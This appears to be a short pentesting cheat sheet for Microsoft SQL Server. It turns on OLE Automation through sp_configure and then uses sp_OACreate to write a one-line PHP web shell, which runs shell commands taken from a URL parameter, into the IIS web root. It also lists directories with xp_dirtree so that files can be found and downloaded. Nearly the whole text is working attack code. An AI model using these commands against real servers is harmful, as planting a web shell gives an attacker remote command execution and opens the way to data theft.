write-file

Enable Ole automation to write files

sp_configure 'show advanced options', 1
Go
Reconfigure
Go
sp_configure 'Ole Automation Procedures', 1
Go
Reconfigure
Go

Write file

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

Read system files

xp_dirtree C:\

#If we found any file we can download it